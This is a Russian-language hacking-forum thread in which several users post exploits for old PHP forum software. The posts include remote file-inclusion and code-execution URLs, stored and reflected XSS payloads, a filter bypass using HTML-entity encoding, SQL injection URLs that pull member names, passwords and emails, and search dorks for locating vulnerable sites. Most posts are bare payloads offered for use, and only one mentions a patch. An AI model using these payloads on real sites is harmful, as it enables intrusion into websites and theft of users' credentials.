    Раскрытые пути
    Code:
    http://site.com/web/forum/viewforum.php?'id'=4
    http://site.com/web/forum/viewtopic.php?id=3'
    
    UBP Version 2.0

    Уязвимость позволяет злоумышленнику выполнить произвольный сценарий на целевой системе, уязвимость существует из-за ошибки в обработке входных данных в параметре «_CONFIG[skin_dir]» сценарием header_simple.php. Атакующий может выполнить произвольный сценарий с привилегиями запущенного Web сервера.

    Пример:
    Code:
    http://vul_site/path/includes/header_simple.php?_CONFIG[skin_dir]=shell
    UBP 2.0b1

    Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "option" сценарием chat/login.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

    Пример:
    Code:
    http://[target]/[path]/chat/login.php?option=chat&username=(code)
    
     
    #37 Sharingan, 11 Jul 2008
    Last edited: 11 Jul 2008
    5 people like this.
  18. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    Форум: Advanced Electron Forum(AEF)
    Версия: 1.0.6

    Активные XSS

    1 активная

    Заходим в профиль уявимое поле WWW: вводим
    Code:
    "><script>alert('xss')</script>
    2 активная

    Создаём тему в названии темы вводим
    Code:
    "><script>alert('xss')</script>
    3 активная

    В подписи вводим:

    Code:
    [UR*L]http://" onmouseover="alert('xss');"[/URL]
    [IM*G]http://" onmouseover="alert('xss');"[/IMG]
    Поиск: Powered By AEF 1.0.6 © 2008 Electron Inc.

    Скачать форум: http://www.anelectron.com/download.php

    (c) ~!Dok_tOR!~



    UPDATE

    Advanced Electron Forum <= 1.0.6 Remote Code Execution

    Сценарий /main/functions/bbc_functions.php

    Уязвимый код:

    PHP:
        //Email Links
        
    if($globals['bbc_email']){
        
            
    $text preg_replace(
                        array(
    "/\[email=(.*?)\](.*?)\[\/email\]/ies",
                                
    "/\[email\](.*?)\[\/email\]/ies"),
                        array(
    'check_email("$1", "$2")',
                                
    'check_email("$1", "$1")'), $text);
        
        }
    Уязвимость существует из-за небезопасного вызова функции "preg_replace()" с параметром "e". Удаленный пользователь может с помощью специально сформированного тега выполнить произвольный PHP код на целевой системе с привилегиям Web сервера.

    Пример:

    Code:
    [*email]{${phpinfo()}}[/email]
    * - убрать конечно.

    Решение: Установите последнюю версию 1.0.7 с сайта производителя.

    Original link
     
    #38 ~!DoK_tOR!~, 9 Sep 2008
    Last edited: 4 Oct 2008
  19. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    Форум: Discussion Forums 2k
    Версия: 3.3.T
    Офф.сайт: http://developer.berlios.de/projects/df2k/

    SQL Injection

    Code:
    http://localhost/[B][COLOR=DarkOrange][installdir][/COLOR][/B]/misc/RSS1.php?CatID=-1)+union+select+concat_ws(0x3a,Name,Password,Email),2,3,4,5,6,7+from+DF2k_Members/*
    Code:
    http://localhost/[B][COLOR=DarkOrange][installdir][/COLOR][/B]/misc/RSS2.php?id=1&CatID=-1)+union+select+concat_ws(0x3a,Name,Password,Email),2,user(),4,5,6,7,8,9,10+from+DF2k_Members/*
    Code:
    http://localhost/[B][COLOR=DarkOrange][installdir][/COLOR][/B]/misc/RSS5.php?SubID=-1)+union+select+concat_ws(0x3a,Name,Password,Email),2,3,4,5+from+DF2k_Members/*
    XSS Passive

    http://localhost/[installdir]/Category.php?id="><script>alert('xss')</script>&SubID=0

    http://localhost/[installdir]/Messenger.php?act=Create&Sendto="><script>alert('xss')</script>

    (c) ~!Dok_tOR!~
     
    1 person likes this.
  20. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Aef <= 1.0.7 Активные Xss

    AEF <= 1.0.7 Активные XSS

    Дорк: Powered By AEF 1.0.

    Уязвимы сразу несколько тегов, т.к. проверка там везде однинаковая.
    Поразительно тупую защиту от XSS:

    Code:
    function check_url($href, $name){
    	
    	$href = preg_replace("/javascript:/i", "javascript-aef: ", $href);
    	
    	return '<a href="'.$href.'" target="_blank">'.$name.'</a>';
    
    }
    обойти проще некуда - достаточно перекодировать скрипт:

    Code:
    javascript:alert('Grey') => HTML (with semicolons): => javascript:alert('Grey')
    Уязвимы теги: [url*], [ftp*], [email*].

    Эксплуатация: при добавление сообщения, добавляем один из уязвимых тегов.

    К примеру [url*]:

    Code:
    [url*=javascript:alert('Grey')]нажми на меня[/url*]
    при переходе по ссылке выполнится скрипт.

    Символ "*" - следует убрать.
     
    #40 Grey, 4 Oct 2008
    Last edited: 4 Oct 2008
    2 people like this.